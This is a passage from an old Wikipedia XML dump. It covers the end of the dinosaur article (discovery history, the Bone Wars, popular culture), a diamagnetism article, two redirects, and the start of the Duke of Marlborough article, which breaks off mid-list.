The first dinosaur species to be identified and named was ''[[Iguanodon]]''. Iguanodon was discovered in 1822 by the English geologist [[Gideon Mantell]], who recognized similarities between his fossils and the bones of modern [[iguana]]s. Two years later, the Rev [[William Buckland]], a professor of [[geology]] at [[University of Oxford|Oxford University]], unearthed the fossilized bones of ''[[Megalosaurus bucklandii]]'' near [[Oxford]]. Buckland then became the first person to describe his find in a scientific journal. 

The study of these &quot;great fossil lizards&quot; soon became of great interest to European and American scientists, and in 1842 the English paleontologist [[Richard Owen]] coined the term &quot;dinosaur&quot;. He recognized that the remains that had been found so far, ''Iguanodon'', ''Megalosaurus'' and ''[[Hylaeosaurus]]'', shared a number of distinctive features, and so decided to present them as a distinct taxonomic group. With the backing of [[Prince Albert of Saxe-Coburg-Gotha]], the husband of [[Victoria of the United Kingdom|Queen Victoria]], Owen established the [[Natural History Museum]] in [[South Kensington]], [[London]], to display the national collection of dinosaur fossils and other biological and geological exhibits.

[[Image:OthnielCharlesMarsh.jpeg|left|thumb|130px|[[Othniel Charles Marsh]], (19th Century photograph).]]  
[[Image:edcope.jpg|130px|right|thumb|[[Edward Drinker Cope]], (19th Century photograph).]]

In 1858, the first known American dinosaur was discovered in [[marl]] pits in the small town of [[Haddonfield, New Jersey]] (although fossils had been found before, their nature had not been correctly discerned). The creature was named ''[[Hadrosaurus]] foulkii'', after the town and the discoverer, [[William Parker Foulke]]. It was an extremely important find; ''Hadrosaurus'' was the first nearly complete dinosaur skeleton found and it was clearly a [[bipedal]] creature. This was a revolutionary discovery, as until that point most scientists had believed dinosaurs walked on four feet like other lizards. Foulke's discoveries sparked a wave of dinosaur mania in the [[United States]]. 

Dinosaur mania was exemplified by the fierce rivalry between [[Edward Drinker Cope]] and [[Othniel Charles Marsh]], both of whom raced to be the first to find new dinosaurs in what came to be known as the [[Bone Wars]]. The feud probably originated when Marsh publicly pointed out that Cope's reconstruction of an ''[[Elasmosaurus]]'' skeleton was flawed; Cope had inadvertently placed the [[plesiosaur]]'s head at what should have been the animal's tail end. The fight between the two scientists lasted for over 30 years, ending in 1897 when Cope died after spending his entire fortune on the dinosaur hunt. Marsh won the contest primarily because he was better funded through a relationship with the [[US Geological Survey]]. Unfortunately, many valuable dinosaur specimens were damaged or destroyed due to the pair's rough methods; for example, their diggers often used [[dynamite]] to unearth bones (a method modern paleontologists would find sacrilegious). Despite the pair's unrefined methods, their contributions to paleontology were vast; Marsh unearthed 86 new species of dinosaur and Cope discovered 56, for a total of 142 new species. Cope's collection is now at the [[American Museum of Natural History]] in [[New York]], while Marsh's is on display at the [[Peabody Museum of Natural History]] at [[Yale University]].{{ref|batofbones}}

Since 1897, the search for dinosaur fossils has extended to every continent, including [[Antarctica]]. The first Antarctic dinosaur to be discovered, the [[nodosaur]]id ''[[Ankylosaurus]]'', was found on [[Ross Island]] in 1986, although it was 1994 before an Antarctic species, the ''[[Cryolophosaurus ellioti]]'', was formally named and described in a scientific journal.
 
Current dinosaur &quot;hot spots&quot; include southern South America (especially [[Argentina]]) and [[China]]. China in particular has produced many exceptional [[feathered dinosaur]] specimens due to the unique geology of its dinosaur beds, as well as an ancient arid climate particularly conducive to [[fossil]]ization.

==In popular culture==
[[Image:Pink_dino.jpg|right|thumb|190px|Pink dinosaur at [[Vernal, Utah]].]]
By human standards, dinosaurs were creatures of fantastic appearance and often enormous size. As such, they have captured people's imagination and become an enduring part of human popular culture. Dinosaur exhibitions, parks and museum exhibits around the world both cater to and reinforce the public's interest. The popular preoccupation with dinosaurs is also reflected in a broad array of [[fiction|fictional]] and [[non-fiction|non-fictional]] works.

Notable examples of older fictional works featuring dinosaurs include [[Arthur Conan Doyle]]'s book ''[[The Lost World (Arthur Conan Doyle)|The Lost World]]''; the 1933 film ''[[King Kong (1933 film)|King Kong]]'';  and ''[[Godzilla]]''.  The (imaginary) depiction of humans and dinosaurs living together has been a recurring theme in fiction.  Films which famously portrayed this idea include ''[[The Valley of Gwangi]]'' (1969) and ''[[One Million Years BC]]'' (1966).  [[Ray Harryhausen]] brought the dinosaurs to life in both films using models and [[stop motion]] [[animation]]. Older films and literature generally depict dinosaurs as sluggish, unintelligent, lizard-like creatures. 

More recently, the portrayal of dinosaurs in works intended for popular consumption has tended to better reflect a more nuanced modern scientific understanding of the animals. In particular, the development and refinement of [[computer-generated imagery]] has led to a revolution in the depiction of dinosaurs on film. Perhaps the most prominent example of CGI dinosaurs remains the film ''[[Jurassic Park]]'', directed by [[Stephen Spielberg]] and featuring special effects by [[Industrial Light and Magic|ILM]]. The success of ''Jurassic Park'' and its two sequels, ''[[The Lost World: Jurassic Park]]'' and ''[[Jurassic Park III]]'', demonstrates the continued popularity of dinosaurs. The falling cost of computer-generated effects has also recently allowed the production of documentaries for television; the award-winning 1999 [[BBC]] series ''[[Walking with Dinosaurs]]'' is a notable example. 

[[Image:Ad microsoft dinosaur.png|190px|left|thumb|An &quot;office dinosaur&quot; is depicted as hopelessly behind the times in a 2005 [[Microsoft]] ad.]]Dinosaurs are often [[anthropomorphism|anthropomorphized]] in fiction. In works intended for young children, they are imbued with friendly, even loving personalities. Examples of this trend include the 1970s show ''[[Land of the Lost]]'', the 1980s' ''[[Dino-Riders]]'', the 1990s' ''[[Dinosaurs (TV series)|Dinosaurs]]'' and ''[[Barney &amp; Friends]]''. 

[[cartoon|Cartoons]], [[comic book]]s and [[comic strip]]s also regularly depict dinosaurs. The cartoon ''[[The Flintstones]]'' showcased a [[stone age]] family living with dinosaurs (though in reality humans did not appear until tens of millions of years after the extinction of non-avian dinosaurs). Comic strips such as ''[[Calvin and Hobbes]]'' and ''[[The Far Side]]'' often featured dinosaur-oriented content. The [[comic book|comics]] entitled [[Dinosaurs for Hire]] portrayed anthropomorphic dinosaurs in a very unusual way; the comic's trio of gun-toting, trigger-happy dinos were notable for their &quot;Who's Extinct?&quot; [[t-shirt]]s and their love of [[Kojak|&quot;Kojak&quot;]].

Many [[computer games|computer]] and [[console game]]s have also featured dinosaurs as characters. The ''Jurassic Park'' films inspired multiple computer games (see [[Jurassic Park (video game)|''Jurassic Park'' video games]]). ''[[Crash Bandicoot: Warped]]'', ''[[Ape Escape]]'', the ''[[Turok: Dinosaur Hunter|Turok]]'' series, and even ''[[Zoo Tycoon]]'' have involved dinosaurs in their storylines.

Because dinosaurs were a highly successful, imposing group of creatures that abruptly and completely became extinct, they are often evoked in [[metaphor]]. People, styles and ideas that are perceived to be out of date and on the wane are often referred to as &quot;dinosaurs&quot;. For example, members of the [[punk rock|punk]] movement derided the &quot;[[progressive rock|progressive]]&quot; bands that preceded them as &quot;dinosaur groups&quot;.

==Religious views==
Various religious groups have views about dinosaurs that differ from those that are generally accepted as fact by scientists. While many mainstream scientists respect these views as [[faith]] positions, they argue that religiously-inspired interpretations of dinosaurs do not withstand serious [[Scientific method|scientific scrutiny]]. See the following articles for specific examples and further context: 

* [[Religious perspectives on dinosaurs]]
* [[Creationism]]
* [[Old Earth creationism]]
* [[Young Earth creationism]]
* [[Religion and science]]

==See also==
*[[Fossil]]s
*[[List of dinosaurs]]
*[[List of dinosaur classifications]]
*[[Prehistoric life]]
*[[Prehistoric reptile]]s

==Notes and references==
&lt;div style=&quot;font-size: 90%&quot;&gt;
#{{note|reptilia}} From the classical standpoint, reptiles included all the amniotes except birds and mammals. Thus reptiles were defined as the set of animals that includes crocodiles, alligators, tuatara, lizards, snakes, amphisbaenians and turtles, grouped together as the class Reptilia.  However, many taxonomists have begun to insist that taxa should be monophyletic, that is, groups should include all descendants of a particular form. The reptiles as defined here would be paraphyletic, since they exclude both birds and mammals, although these also developed from the original reptile. Thus, some cladists redefine Reptilia as a monophyletic group, including both the classic reptiles as well as the birds and perhaps the mammals (depending on ideas about their relationships). Others abandon it as a formal taxon altogether, dividing it into several different classes.
#{{note|softtissue}}Dal Sasso, C. and Signore, M. (1998). Exceptional soft-tissue preservation in a theropod dinosaur from Italy. ''Nature'' 292:383-387. [http://www.dinosauria.com/jdp/misc/scipionyx.html See commentary on the article]
#{{note|trextissue}}Schweitzer, M.H., Wittmeyer, J.L. and Horner, J.R. (2005). Soft-Tissue Vessels and Cellular Preservation in Tyrannosaurus rex. ''Science'' 307:1952 - 1955. [http://news.bbc.co.uk/2/hi/science/nature/4379577.stm See commentary on the article]
#{{note|joined}}Evans, J. (1998). ''Ultimate Visual Dictionary - 1998 Edition''. Dorling Kindersley Books. 66-69. ISBN 1871854008.
#{{note|avesize1}}[http://dml.cmnh.org/1998May/msg00048.html Dinosaur size varied in different periods] Working hypothesis for body size.
#{{note|avesize2}}[http://microlnx.com/dinosaurs/Giantism.html Origin of Dinosaurs and Mammals - Erickson] Soruce of Erickson quote.
#{{note|sauropodtracks}}Day, J.J. and Upchurch, P. (2002). Sauropod Trackways, Evolution, and Behavior. ''Science'' 296:1659. [http://news.nationalgeographic.com/news/2002/05/0529_020529_sauropods.html See commentary on the article]
#{{note|maiasaura}}Lessem, D. and Glut, D.F. (1993). ''The Dinosaur Society's Dinosaur Encyclopedia''. Random House Inc. ISBN 0679417702. [http://www.isgs.uiuc.edu/faq/dino-faqs/pdq76.html See commentary on the article]
#{{note|babytyrannosaur}}[http://www.browningmontana.com/dinosaurs.html Juvenile Tyrannosaur] A juvenile [[Tyrannosaur]] skeleton was found.
#{{note|oviraptor}}[http://search.eb.com/dinosaurs/dinosaurs/BRa.html Oviraptor nesting] [[Oviraptor]] nests or [[Protoceratops]]?
#{{note|familytracks}}[http://news.bbc.co.uk/1/hi/scotland/3255494.stm Dinosaur family tracks] Footprints show maternal instinct after leaving the nest.
#{{note|raptorceratopsfossil}}[http://www.amnh.org/exhibitions/fightingdinos/ex-fd.html Joined forever in death] The discovery of two [[fossil]] dinosaurs entangled together proved many theories.
#{{note|cannibaldino}}[http://news.nationalgeographic.com/news/2002/12/1219_021219_dinocannibal.html Cannibalistic Dinosaur] The mystery of a dinosaur [[cannibal]].
#{{note|dinocannibalism}}Rogers, R.R., Krause, D.W. and Rogers, K.C. (2003). Cannibalism in the Madagascan dinosaur Majungatholus atopus. ''Nature'' 422:515-518.[http://www.nsf.gov/od/lpa/news/03/pr0336.htm See commentary on the article].
#{{note|gaitdinospeed}}[http://palaeo.gly.bris.ac.uk/Palaeofiles/Tracks/Report7/Speed.html Gait and Dinosaur speed] Gait and his formula on estimating a dinosaur's speed.
#{{note|speedcalculator}}[http://www.shef.ac.uk/~es/DINOC01/dinocal1.html Calculate your own Dinosaur speed] More on Gait and his speed calculations.
#{{note|boom}}Douglas, K. and Young, S. (1998). The dinosaur detectives. ''New Scientist'' 2130:24. [http://members.tripod.com/~megalania/recap.html See commentary on the article].
#{{note|hastydino}}Hecht, J. (1998). The deadly dinos that took a dive. ''New Scientist'' 2130.  [http://news.bbc.co.uk/1/hi/sci/tech/78905.stm See commentary on the article].
#{{note|floatingdino}}Henderson, D.M. (2003). Effects of stomach stones on the buoyancy and equilibrium of a floating crocodilian: A computational analysis. ''Canadian Journal of Zoology'' 81:1346-1357. [http://www.nserc.ca/news/features/dinosaurs_e.htm See commentary on the article].
#{{note|permian1}} Citation for Permian/Triassic extinction event, percentage of animal species that went extinct. [http://www.sciencedaily.com/releases/2005/02/050223130549.htm See commentary]
#{{note|permian2}} Another citation for P/T event data. [http://www.bbc.co.uk/science/horizon/2002/dayearthdied.shtml See commentary]
#{{note|eoraptor}} Sereno, P.C., C.A. Forster, R.R. Rogers, and A.M. Monetta. 1993. Primitive dinosaur skeleton from Argentina and the early evolution of Dinosauria. Nature 361:64-66.
#{{note|evolution}}Hayward, T. (1997). The First Dinosaurs. ''Dinosaur Cards''. Orbis Publishing Ltd. D36040612.
#{{note|parsons}}Parsons, K.M. (2001). ''Drawing Out Leviathan''. Indiana University Press. 22-48. ISBN 0253339375.
#{{note|casepoint}}Mayr, G., Pohl, B. and Peters, D.S. (2005). A Well-Preserved Archaeopteryx Specimen with Theropod Features. ''Science'' 310:1483-1486.[http://news.nationalgeographic.com/news/2005/12/1201_051201_archaeopteryx_2.html See commentary on the article].
#{{note|lungs}}O'Connor, P.M. and Claessens, L.P.A.M. (2005). Basic avian pulmonary design and flow-through ventilation in non-avian theropod dinosaurs. ''Nature'' 436:253. 
#{{note|sleepingdino}}Xu, X. and Norell, M.A. (2004). A new troodontid dinosaur from China with avian-like sleeping posture. ''Nature'' 431:838-841.[http://www.guardian.co.uk/life/news/story/0,12976,1326559,00.html See commentary on the article].
#{{note|fassett2002}}Fassett, J, R.A. Zielinski, &amp; J.R. Budahn. (2002). Dinosaurs that did not die; evidence for Paleocene dinosaurs in the Ojo Alamo Sandstone, San Juan Basin, New Mexico. In: Catastrophic events and mass extinctions; impacts and beyond. (Eds.  Koeberl, C. &amp; K. MacLeod): ''Special Paper - Geological Society of America'' 356: 307-336.
#{{note|wang}}Wang, H., Yan, Z. and Jin, D. (1997). Reanalysis of published DNA sequence amplified from Cretaceous dinosaur egg fossil. ''Molecular Biology and Evolution''. 14:589-591. [http://mbe.oupjournals.org/cgi/reprint/14/5/589 See commentary on the article].
#{{note|chang}}Chang, B.S.W., Jönsson, K., Kazmi, M.A., Donoghue, M.J. and Sakmar, T.P. (2002). Recreating a Functional Ancestral Archosaur Visual Pigment. ''Molecular Biology and Evolution'' 19:1483-1489. [http://mbe.oupjournals.org/cgi/content/full/19/9/1483 See commentary on the article].
#{{note|chanceatlife}}Schweitzer, M.H., Wittmeyer, J.L. and Horner, J.R. (2005). Soft-Tissue Vessels and Cellular Preservation in Tyrannosaurus rex. ''Science'' 307:1952-1955. Also covers the [[Dinosaur#Feathered dinosaurs and the bird connection|Reproduction Biology paragraph in the Feathered dinosaurs and the bird connection section]]. [http://www.sciencemag.org/cgi/content/full/sci;307/5717/1952 See commentary on the article] 
#{{note|changes}}{{note_label|changes|32|a}}(Nov 2000). ''Earthwatch'' :6-13.
#{{note|koeberl}}Koeberl, C. and MacLeod, K.G. (2002). ''Catastrophic Events and Mass Extinctions''. Geological Society of America. ISBN 0813723566.
#{{note|enviro1}} [http://www.dinodata.net/DNM/campexplo.htm The Campanian diversity explosion] The effect climate change may have had on the extinction of the Dinosaurs
#{{note|enviro2}} [http://news.nationalgeographic.com/news/2005/11/1129_051129_sea_level.html Dino-Era Earth Had Polar Ice, Low Sea Level, Study Says] Sea levels during the dinosaur era; [[National Geographic]]; November 29, 2005
#{{note|batofbones}}Williams, P. (1997). The Battle of the Bones. ''Dinosaur Cards''. Orbis Publishing Ltd. D36040607.
#{{note|jpii}}[http://atheism.about.com/od/popejohnpaulii/a/evolution.htm Pope John Paul II, Darwin, and Evolution] Catholic Opinions on Evolutionary Origins.

&lt;/div&gt;

==General references==
* Kevin Padian, and Philip J. Currie. (1997). ''Encyclopedia of Dinosaurs''. Academic Press. ISBN 0122268105. (Articles are written by experts in the field).
* [[Gregory S. Paul|Paul, Gregory S.]] (2000). ''The Scientific American Book of Dinosaurs''. St. Martin's Press. ISBN 0312262264.
*Paul, Gregory S. (2002). ''Dinosaurs of the Air: The Evolution and Loss of flight in Dinosaurs and Birds''. Baltimore: The Johns Hopkins University Press. ISBN 0801867630.
*[[David B. Weishampel|Weishampel, David B.]] (2004). ''The Dinosauria''. University of California Press; 2nd edition. ISBN 0520242092.

==External links==
&lt;!--Sorted (roughly) from least to most technical--&gt;
{{commons|Dinosauria}}
{{Spoken Wikipedia|Dinosaur.ogg|2005-12-30}}
;For children
*[http://www.mantyweb.com/dinosaur/ Dinosaur Time Machine from MantyWeb Educational Software] From MantyWeb Educational Software. Kid's site, facts, games.
*[http://yahooligans.yahoo.com/content/science/dinosaurs Dinopedia] From Yahooligans! Science. Glossaries, dino cards and indexes.
*[http://www.enchantedlearning.com/subjects/dinosaurs/ Zoom Dinosaurs] From Enchanted Learning. Kid's site, info pages, theories, history.
*[http://www.geschichteinchronologie.ch/natur/dinosaurier/xenos-GB_30-dinosaur-pictures-for-painting.html 30 Dinosaur pictures for painting] so the dinos get into your fingers, also for adults.

;Popular
*[http://www.nhm.ac.uk/nature-online/life/dinosaurs-other-extinct-creatures/index.html Dinosaurs &amp; other extinct creatures] From the [[Natural History Museum]]. London popular site, well illustrated dino directory.
*[http://www.arches.uga.edu/~rfreeman/GEOL3350_'4HistoryDinoSt.htm History of Dinosaur discovery] Timeline of the discovery of Dinosaurs.
*[http://pubs.usgs.gov/gip/dinosaurs/ Dinosaurs: Facts and Fiction] From the [[United States Geological Survey]]. Popular overview.
*[http://www.bbc.co.uk/dinosaurs/ Dinosaurs] From the [[BBC]]. Popular site, very well illustrated.
*[http://www.dinodata.net/Discussions/dinosaurs.html Discussions] From DinoData. Summaries of modern debates about dinosaurs.
*[http://www.ucmp.berkeley.edu/diapsids/dinosaur.html Dinosauria] From UC Berkeley Museum of Paleontology Detailed information - scroll down for menu.
*[http://www.dinosaurnews.org/ The Dinosaur News] The Dino-headlines from around the world. Recent news on dinosaurs, including finds and discoveries, lots of links.
*[http://www.bowdoin.edu/~dbensen/ OPUS: Dinosaur by Daniel Bensen] A gallery of dino-paintings.

;Technical
*[http://www.prehistoricplanet.com/ Prehistoric Planet] From PaleoClones. Current dino news.
*[http://www.wired.com/news/technology/0,1282,63613,00.html ''A Fiery Death for Dinosaurs?'' by Amit Asaravala] From ''[[Wired Magazine|Wired]]''. Article on the rapid extinction of dinosaurs.
*[http://www.newscientist.com/hottopics/dinosaurs/ The Rex Files] From the ''[[New Scientist]]''. Articles, latest news but out of date.
*[http://palaeo-electronica.org/ ''Palaeontologia Electronica''] From Coquina Press. Online technical journal.
*[http://www.thunderbolts.info/tpod/2005/arch05/050623impossible-dinosaur.htm ''Impossible Dinosaurs''] Article on a gravity-based approach for the extinction by David Talbott and Wallace Thornhill.
*[http://uk.arxiv.org/abs/hep-ph/0002255 TeV scale gravity, mirror universe, and ... dinosaurs] Article from [http://th-www.if.uj.edu.pl/acta/ Acta Physica Polonica B] by Z.K. Silagadze.

;Very technical
*[http://www.dinodata.net DinoData] Technical site, essays, classification, anatomy.
*[http://www.dinosauria.com/dml/dml.htm Dinosauria On-Line] Technical site, essays, pronunciation, dictionary.
*[http://dino.lm.com/ The Dinosauricon] By T. Michael Keesey. Technical site, cladogram, illustrations and animations.
*[http://www.palaeos.com/Vertebrates/Units/Unit310/000.html Dinosauromorpha Cladogram] From [http://www.Palaeos.com Palaeos]. A detailed and wonderful amateur site about all things paleo.
*[http://palaeo.gly.bris.ac.uk/dinobase/dinopage.html Dinobase] AA dinosaur database with dinosaur lists, classification, pictures, and more.
*[http://planetdinosaur.com/dinosaurs.htm Planet Dinosaur] A very extensive site regarding dinosaur information.

;Bird-dinosaur discussion
*[http://www.ucmp.berkeley.edu/diapsids/avians.html DinoBuzz] Are birds Dinosaurs?
*[http://www.dinosauria.com/ Dinosauria] Site focussing on the Dino-Bird aspect.

{{featured article}}

[[Category:Dinosaurs|*]]
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[[th:ไดโนเสาร์]]
[[tr:Dinozor]]
[[uk:Динозавр]]
[[zh:恐龍]]</text>
    </revision>
  </page>
  <page>
    <title>Lower Silesian Voivodship</title>
    <id>8312</id>
    <revision>
      <id>36673420</id>
      <timestamp>2006-01-25T18:48:00Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Dolny Śląsk Voivodship]]</text>
    </revision>
  </page>
  <page>
    <title>Diamagnetism</title>
    <id>8315</id>
    <revision>
      <id>41933445</id>
      <timestamp>2006-03-02T18:49:59Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">[[Image:Diamagnetic graphite levitation.jpg|200px|thumb|right|Levitating [[pyrolytic graphite]]]]

'''Diamagnetism'''  is a form of [[magnetism]] which is only exhibited by a substance in the presence of an externally applied [[magnetic field]].  It is the result of changes in the orbital motion of electrons due to the application of an externally applied magnetic field. Applying a magnetic field creates a magnetic force on a moving electron in the form of 
'''F''' = ''q'''''v''' × '''B'''.  This force changes the centripetal force on the electron, causing it to either speed up or slow down in its orbital motion.  This changed electron speed modifies the magnetic moment of the orbital in a direction against the external field. 

Consider two electron orbitals; one rotating clockwise and the other counterclockwise. An external magnetic field into the page will make the centripetal force on an electron rotating clockwise increase, which increases its moment out of the page.  That field would make the centripetal force on an electron rotating counterclockwise decrease, decreasing its moment into the board.  Both changes oppose a magnetic field into the page. The induced magnetic moment is very small in most everyday materials. All materials show a diamagnetic response in an applied magnetic field; however for materials which show some other form of magnetism (such as [[ferromagnetism]] or [[paramagnetism]]), the diamagnetism is completely swamped.  Substances which only, or mostly, display diamagnetic behaviour are termed diamagnetic materials, or diamagnets. Materials that are said to be diamagnetic are those which are usually considered by non-physicists as &quot;non magnetic&quot;, and include [[water]], [[DNA]], most organic compounds such as oil and plastic, and many metals such as [[gold]] and [[bismuth]].

Diamagnets are repelled by magnetic fields. However, since diamagnetism is such a weak property its effects are not observable in every-day life. For example, the [[magnetic susceptibility]] of diamagnets such as water is χ = −9.05×10&lt;sup&gt;−6&lt;/sup&gt;. The most strongly diamagnetic material is [[Bismuth]] χ = −166×10&lt;sup&gt;−6&lt;/sup&gt;, although pyrolitic graphite may have a susceptibility of  χ = −400×10&lt;sup&gt;−6&lt;/sup&gt; in one plane. Nevertheless these values are orders of magnitudes smaller than the magnetism exhibited by paramagnets and ferromagnets. Superconductors may be considered to be perfect diamagnets (χ = −1), since they expel all field from their interior due to the [[Meissner effect]].  

== History ==

Brugmans (in 1778) was the first person to observe that certain materials were repelled by magnetic fields. However, the term &quot;''diamagnetism''&quot; was coined by [[Michael Faraday]] in September 1845, when he realised that all materials in nature possessed some form of diamagnetic response to an applied magnetic field.

== Diamagnetic levitation ==

[[Image:Frog diamagnetic levitation.jpg|right|thumb|200px|A live frog levitates inside a 32 mm diameter vertical bore of a [[Bitter solenoid]] in a magnetic field of about 16 [[tesla (unit)|teslas]] at the Nijmegen High Field Magnet Laboratory. [http://www.hfml.ru.nl/pics/Movies/frog.mpg Movie] ]]

A particularly fascinating phenomenon involving diamagnets is that they may be levitated in stable equilibrium in a magnetic field, with no power consumption. [[Earnshaw's theorem]] seems to preclude the possibility of static magnetic levitation. However, Earnshaw's theory only applies to objects with permanent moments '''m''', such as ferromagnets, whose magnetic energy is given by '''m'''&amp;middot;'''B'''. Ferromagnets are attracted to field maxima, which do not exist in free space.
Diamagnetism is an induced form of magnetism, thus the magnetic moment is proportional to the applied field '''B'''. This means that the magnetic energy of diamagnets is proportional to '''B'''&lt;sup&gt;2&lt;/sup&gt;, the intensity of the magnetic field. Diamagnets are also attracted to field minima, and there can be a minimum in '''B'''&lt;sup&gt;2&lt;/sup&gt; in free space (in fact &lt;math&gt;\nabla^2 \mathbf{B}^2\geq 0&lt;/math&gt;).

A thin slice of [[pyrolytic graphite]], which is an unusually strongly diamagnetic material, can be stably floated in a magnetic field, such as that from [[rare earth]] permanent magnets. This can be done with all components at room temperature, making a visually effective demonstration of diamagnetism.

The [[Radboud University Nijmegen]] has conducted experiments where they have successfully levitated water and a live frog, amongst other things. [http://www.hfml.sci.kun.nl/froglev.html]

Diamagnetic materials have a relative [[magnetic permeability]] that is less than 1, and a [[magnetic susceptibility]] that is less than 0.

== See also ==

* [[Antiferromagnetism]]
* [[Ferrimagnetism]]
* [[Ferromagnetism]]
* [[Magnetic levitation]]
* [[Paramagnetism]]
* [[Superdiamagnetism]]

{{magnetic states}}

== External links ==

* [http://www.hfml.science.ru.nl/froglev.html Videos of frogs and other diamagnets levitated in a strong magnetic field]

[[Category:Electric and magnetic fields in matter]]
[[Category:Magnetism]]

[[ca:Diamagnetisme]]
[[da:Diamagnetisme]]
[[de:Diamagnetismus]]
[[es:Diamagnetismo]]
[[nl:Diamagnetisme]]
[[ja:反磁性]]
[[pl:Diamagnetyzm]]
[[sl:Diamagnetizem]]</text>
    </revision>
  </page>
  <page>
    <title>Diabetes</title>
    <id>8316</id>
    <revision>
      <id>15906324</id>
      <timestamp>2005-05-04T01:05:09Z</timestamp>
      <contributor>
        <ip>64.230.89.17</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT: [[Diabetes mellitus]]</text>
    </revision>
  </page>
  <page>
    <title>Duke of Marlborough</title>
    <id>8317</id>
    <revision>
      <id>39201141</id>
      <timestamp>2006-02-11T12:56:17Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] change &quot;a&quot; to &quot;an&quot;.</comment>
      <text xml:space="preserve">[[Image:MarlboroughCoatOfArms.jpg|250px|thumb|right|The coat of arms of the Dukes of Marlborough]]
The '''Dukedom of Marlborough''' (named after [[Marlborough]], pronounced &quot;''Maul''bruh&quot; - {{IPA |/&amp;#712;m&amp;#596;&amp;#720;lb&amp;#633;&amp;#601;/}} in the [[international phonetic alphabet|IPA]]), is an hereditary title of British nobility in the [[Peerage]] of [[Peerage of England|England]]. The first holder of the title was [[John Churchill, 1st Duke of Marlborough]] (1650&amp;ndash;1722), the noted English general, and indeed an unqualified reference to ''the'' Duke of Marlborough in a historical text will almost certainly be a reference to him.

The Dukedom was created in 1702 by [[Anne of Great Britain|Queen Anne]]; John Churchill, whose wife was a favorite of the Queen, had earlier been made Earl of Marlborough by [[William III of England|King William III]]. Anne further honoured Churchill, after his leadership of the victories against the French of [[13 August]] [[1704]] near the village of Blenheim (German ''Blindheim'') on the [[Danube River]] ([[Battle of Blenheim]]), by granting him the royal manor of Woodstock, and building him a house at her own expense to be called Blenheim. It was commenced in [[1705]], and was completed in 1722, the year of his death. [[Blenheim Palace]] remains the Marlborough ducal seat.

The first Duke was also honored with [[Holy Roman Empire|Imperial]] titles: [[Joseph I, Holy Roman Emperor|Emperor Joseph I]] created him a [[Prince of the Holy Roman Empire]] in [[1704]], and in [[1705]], he was created Imperial Prince of [[Mindelheim]] (once the lordship of the noted soldier [[Georg von Frundsberg]]). However, he was obliged to surrender Mindelheim in [[1714]] by the [[Treaty of Utrecht]], which returned it to [[Bavaria]]. According to some sources, he received the principality of [[Mellenburg]] in exchange. Regardless, his Imperial titles passed to his daughters but not to their descendants, and so became extinct in [[1751]] on the death of his daughter [[Lady Mary Churchill]], Duchess of Montagu.

The Duke of Marlborough holds certain subsidiary titles: ''Marquess of Blandford'' (created 1702), ''[[Earl of Sunderland]]'' (1643), ''Earl of Marlborough'' (1689), ''Baron Spencer of Wormleighton'' (1603), ''Baron Churchill of Sandridge'' (1685) and ''Lord Churchill of Eyemouth'' (1682). (''Lord Churchill of Eyemouth'' is in the Scottish [[peerage]], while the rest are in the English peerage.) The title ''Marquess of Blandford'' is used as the [[courtesy title]] for the Duke's eldest son and heir. The Duke's eldest son's eldest son in turn can use the courtesy title ''Earl of Sunderland''.

The later Dukes of Marlborough are descended from the first duke, but not in the male line. Because the first duke had no sons, the title was allowed (by a special [[Act of Parliament]]) to pass to his eldest daughter in her own right.  A younger daughter, [[Lady Anne Churchill]], married [[Charles Spencer, 3rd Earl of Sunderland]] (''c.'' 1674&amp;ndash;1722), and from this marriage descend the modern Dukes of Marlborough. They therefore originally bore the [[surname]] ''Spencer''. However, George Spencer, the 5th Duke of Marlborough, obtained a [[Royal Licence]] to assume and bear the additional surname and arms of his famous ancestor, the 1st Duke of Marlborough, and thus became George Spencer-Churchill. This [[double-barrelled name|double-barrelled surname]] has remained in the family to this day, though some of the most famous members have preferred to style themselves as merely &quot;Churchill&quot;.

The Dukedom of Marlborough is the only Dukedom in the United Kingdom that can still pass in the female line. However, the Dukedom does not follow [[male-preference primogeniture]] as most other peerages that can pass in the female line do. It actually follows a kind of [[Semi-Salic Law]]. The succession for the Dukedom is as follows:

# The heirs-male of the 1st Duke's body lawfully begotten;
# his oldest daughter and the heirs-male of her body lawfully begotten;
# his second and other daughters, in seniority, and the heirs-male of their bodies lawfully begotten;
# his oldest daughter's oldest daughter and the heirs male of her body lawfully begotten;
# all other daughters of his daughters and the heirs male of their bodies;
# and other descendants into the future in like fashion, with the intent that the Marlborough title never become extinct.

So, it is very unlikely that the Dukedom will be inherited in the female line again, as all the male heirs of Anne Spencer, Countess of Sunderland would have to go extinct. If that did happen, then by the above terms, the [[Earl of Jersey]] would become the next Duke, as he is the male-line descendant of Anne Villiers, Countess of Jersey, daughter of Elizabeth Egerton, Duchess of Bridgwater, a younger daughter of the first Duke.

The 7th Duke of Marlborough was the paternal grandfather of the British Prime Minister [[Winston Churchill|Sir Winston Churchill]].

The present Duke of Marlborough is [[John George Vanderbilt Spencer-Churchill, 11th Duke of Marlborough]].

The title of '''Earl of Marlborough''', which was created for Churchill in [[1689]], had been created one time previously in British history, for [[James Ley, 1st Earl of Marlborough|James Ley]], in [[1626]].  This title had become extinct in [[1679]].

==Earls of Marlborough, first creation ([[1626]])==
*[[James Ley, 1st Earl of Marlborough]] ([[1552]]&amp;ndash;[[1629]])
*[[Henry Ley, 2nd Earl of Marlborough]] ([[1595]]&amp;ndash;[[1638]])
*[[James Ley, 3rd Earl of Marlborough]] ([[1618]]&amp;ndash;[[1665]])
*[[William Ley, 4th Earl of Marlborough]] ([[1612]]&amp;ndash;[[1679]])

==Earls of Marlborough, second creation ([[1689]])==
*[[John Churchill, 1st Duke of Marlborough|John Churchill, 1st Earl of Marlborough]] ([[1650]]&amp;ndash;[[1722]]), became Duke of Marlborough in [[1702]]

==Dukes of Marlborough ([[1702]])==
*[[John Churchill, 1st Duke of Marlborough]] ([[1650]]&amp;ndash;[[1722]])
*[[Henrietta Churchill, 2nd Duchess of Marlborough]] ([[1681]]&amp;ndash;[[1733]])
*[[Charles Spencer, 3rd Duke of Marlborough]] ([[1706]]&amp;ndash;[[1758]])
